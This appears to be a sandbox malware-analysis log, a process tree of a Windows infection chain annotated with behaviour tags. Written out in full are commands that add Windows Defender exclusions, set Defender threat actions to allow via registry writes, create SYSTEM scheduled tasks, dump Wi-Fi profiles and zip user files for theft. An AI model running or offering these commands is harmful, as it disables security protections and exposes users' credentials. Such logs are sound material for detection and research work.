C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F3⤵
- Creates scheduled task(s)
PID:3896
-
-
C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe"C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe"3⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000226001\Uni400uni.exe" -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5092
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1944 -
C:\Users\Admin\Pictures\RX7D2vpx9lchoDcWXIyFxKP1.exe"C:\Users\Admin\Pictures\RX7D2vpx9lchoDcWXIyFxKP1.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
PID:3096 -
C:\Users\Admin\AppData\Local\Temp\u2e0.0.exe"C:\Users\Admin\AppData\Local\Temp\u2e0.0.exe"6⤵
- Blocklisted process makes network request
- Executes dropped EXE
PID:2656 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 10167⤵
- Program crash
PID:5772
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 12927⤵
- Program crash
PID:4136
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 13407⤵
- Program crash
PID:5868
-
-
-
C:\Users\Admin\AppData\Local\Temp\u2e0.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u2e0.2\run.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5548 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:5760 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe8⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4800
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\u2e0.3.exe"C:\Users\Admin\AppData\Local\Temp\u2e0.3.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1920 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD17⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5552
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 14566⤵
- Program crash
PID:5500
-
-
-
C:\Users\Admin\Pictures\pL6FbSzAJpQmgCw5c7FMyTCS.exe"C:\Users\Admin\Pictures\pL6FbSzAJpQmgCw5c7FMyTCS.exe"5⤵
- Executes dropped EXE
PID:5092
-
-
C:\Users\Admin\Pictures\RQ5GRHsZPTxkmcLykLyrD6J8.exe"C:\Users\Admin\Pictures\RQ5GRHsZPTxkmcLykLyrD6J8.exe"5⤵
- Executes dropped EXE
PID:2600
-
-
C:\Users\Admin\Pictures\HxwndxdTEC4tRf45pZw7hAn0.exe"C:\Users\Admin\Pictures\HxwndxdTEC4tRf45pZw7hAn0.exe"5⤵
- Executes dropped EXE
PID:5752 -
C:\Users\Admin\AppData\Local\Temp\7zS5A40.tmp\Install.exe.\Install.exe /RvdidblCuX "385118" /S6⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
PID:5828 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 03:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\TprteNu.exe\" em /oisite_idqJW 385118 /S" /V1 /F7⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4692
-
-
-
-
C:\Users\Admin\Pictures\gcdcBSqFa0nx5r4VeECLHNWm.exe"C:\Users\Admin\Pictures\gcdcBSqFa0nx5r4VeECLHNWm.exe" --silent --allusers=05⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
PID:6044 -
C:\Users\Admin\Pictures\gcdcBSqFa0nx5r4VeECLHNWm.exeC:\Users\Admin\Pictures\gcdcBSqFa0nx5r4VeECLHNWm.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x6ddce1d0,0x6ddce1dc,0x6ddce1e86⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4900
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\gcdcBSqFa0nx5r4VeECLHNWm.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\gcdcBSqFa0nx5r4VeECLHNWm.exe" --version6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:540
-
-
-
C:\Users\Admin\Pictures\9L6c9PYhL5GMiZiXTc6jlpzN.exe"C:\Users\Admin\Pictures\9L6c9PYhL5GMiZiXTc6jlpzN.exe"5⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6056
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:544
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316
-
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4144
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
- Loads dropped DLL
PID:2828 -
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1372 -
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵PID:1044
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\556644402199_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5036
-
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:1372
-
-
C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"2⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:4584 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"3⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:2036 -
C:\Users\Admin\Pictures\J0FmZbISAJIWTssvwmB5HAUF.exe"C:\Users\Admin\Pictures\J0FmZbISAJIWTssvwmB5HAUF.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
PID:3192 -
C:\Users\Admin\AppData\Local\Temp\u2go.0.exe"C:\Users\Admin\AppData\Local\Temp\u2go.0.exe"5⤵
- Executes dropped EXE
PID:5348 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 10166⤵
- Program crash
PID:632
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 13006⤵
- Program crash
PID:1588
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 13286⤵
- Program crash
PID:5220
-
-
-
C:\Users\Admin\AppData\Local\Temp\u2go.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u2go.2\run.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5796 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2656 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe7⤵PID:3260
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\u2go.3.exe"C:\Users\Admin\AppData\Local\Temp\u2go.3.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:1416
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 14325⤵
- Program crash
PID:5604
-
-
-
C:\Users\Admin\Pictures\dyqheVShAUREFxYNksrxoLdi.exe"C:\Users\Admin\Pictures\dyqheVShAUREFxYNksrxoLdi.exe"4⤵
- Executes dropped EXE
PID:1952
-
-
C:\Users\Admin\Pictures\EgFKOFI2GR8ebW5qlV87i4ik.exe"C:\Users\Admin\Pictures\EgFKOFI2GR8ebW5qlV87i4ik.exe"4⤵
- Executes dropped EXE
PID:4920
-
-
C:\Users\Admin\Pictures\Ss7FRNbPoFLjNbD205Rjt2ur.exe"C:\Users\Admin\Pictures\Ss7FRNbPoFLjNbD205Rjt2ur.exe"4⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5168
-
-
C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe"C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe" --silent --allusers=04⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
PID:5148 -
C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exeC:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0xfc,0x27c,0x2a0,0xe0,0x2a4,0x6ec0e1d0,0x6ec0e1dc,0x6ec0e1e85⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5944
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\DgfaXTld2wiWW0i5eGY8ps27.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\DgfaXTld2wiWW0i5eGY8ps27.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5700
-
-
C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe"C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=5148 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240426033542" --session-guid=c7c72f35-1dbc-4043-96c2-7ec240876b5c --server-tracking-blob="OGVkYTIzYzYyYTE4NmJhNTM3NmUxODgwMTY2ZGU3Yjc5ZTNjMzcwNDIxNDc2ZGJjZjgwM2Q2OTZlOGZjMGUzMDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzE0MTAyNTI5Ljg1MTYiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiNjU0NDNhNDQtMjlkOS00YzRlLTlkOGItMGRiZGQ1NjdiNjVlIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=68050000000000005⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
PID:6048 -
C:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exeC:\Users\Admin\Pictures\DgfaXTld2wiWW0i5eGY8ps27.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.68 --initial-client-data=0x2a4,0x2a8,0x2ac,0x278,0x2b0,0x6e28e1d0,0x6e28e1dc,0x6e28e1e86⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4720
-
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"5⤵
- Executes dropped EXE
PID:5560
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\assistant_installer.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4676 -
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404260335421\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x6c6038,0x6c6044,0x6c60506⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5584
-
-
-
-
C:\Users\Admin\Pictures\EtUucxZCfeO1fzwNt6O7ue15.exe"C:\Users\Admin\Pictures\EtUucxZCfeO1fzwNt6O7ue15.exe"4⤵
- Executes dropped EXE
PID:2360 -
C:\Users\Admin\AppData\Local\Temp\7zSBD31.tmp\Install.exe.\Install.exe /RvdidblCuX "385118" /S5⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
PID:3604 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵PID:5648
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵PID:4144
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious use of AdjustPrivilegeToken
PID:1980 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
- Suspicious use of AdjustPrivilegeToken
PID:3020
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 03:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\oUuodel.exe\" em /KEsite_idlbH 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3020
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"C:\Users\Admin\AppData\Local\Temp\1000208001\install.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
PID:4572 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installg.bat" "3⤵PID:3604
-
C:\Windows\SysWOW64\sc.exeSc delete GameServerClient4⤵
- Launches sc.exe
PID:5468
-
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService remove GameServerClient confirm4⤵
- Executes dropped EXE
PID:5576
-
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameServerClient.exe"4⤵
- Executes dropped EXE
PID:5800
-
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService start GameServerClient4⤵
- Executes dropped EXE
PID:5900
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "3⤵PID:1416
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4144 -ip 41441⤵PID:3480
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 932 -ip 9321⤵PID:2308
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2448 -ip 24481⤵PID:4408
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:5416
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:5424
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2656 -ip 26561⤵PID:5752
-
C:\Program Files (x86)\GameServerClient\GameService.exe"C:\Program Files (x86)\GameServerClient\GameService.exe"1⤵
- Executes dropped EXE
PID:5924 -
C:\Program Files (x86)\GameServerClient\GameServerClient.exe"C:\Program Files (x86)\GameServerClient\GameServerClient.exe"2⤵
- Executes dropped EXE
PID:6064 -
C:\Windows\Temp\785141.exe"C:\Windows\Temp\785141.exe" --list-devices3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6104
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2656 -ip 26561⤵PID:4020
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2656 -ip 26561⤵PID:4140
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3096 -ip 30961⤵PID:5344
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5348 -ip 53481⤵PID:5968
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3192 -ip 31921⤵PID:2992
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5348 -ip 53481⤵PID:5916
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5348 -ip 53481⤵PID:6008
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
- Executes dropped EXE
PID:5404
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1416
-
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\oUuodel.exeC:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\oUuodel.exe em /KEsite_idlbH 385118 /S1⤵
- Executes dropped EXE
PID:3848 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Modifies data under HKEY_USERS
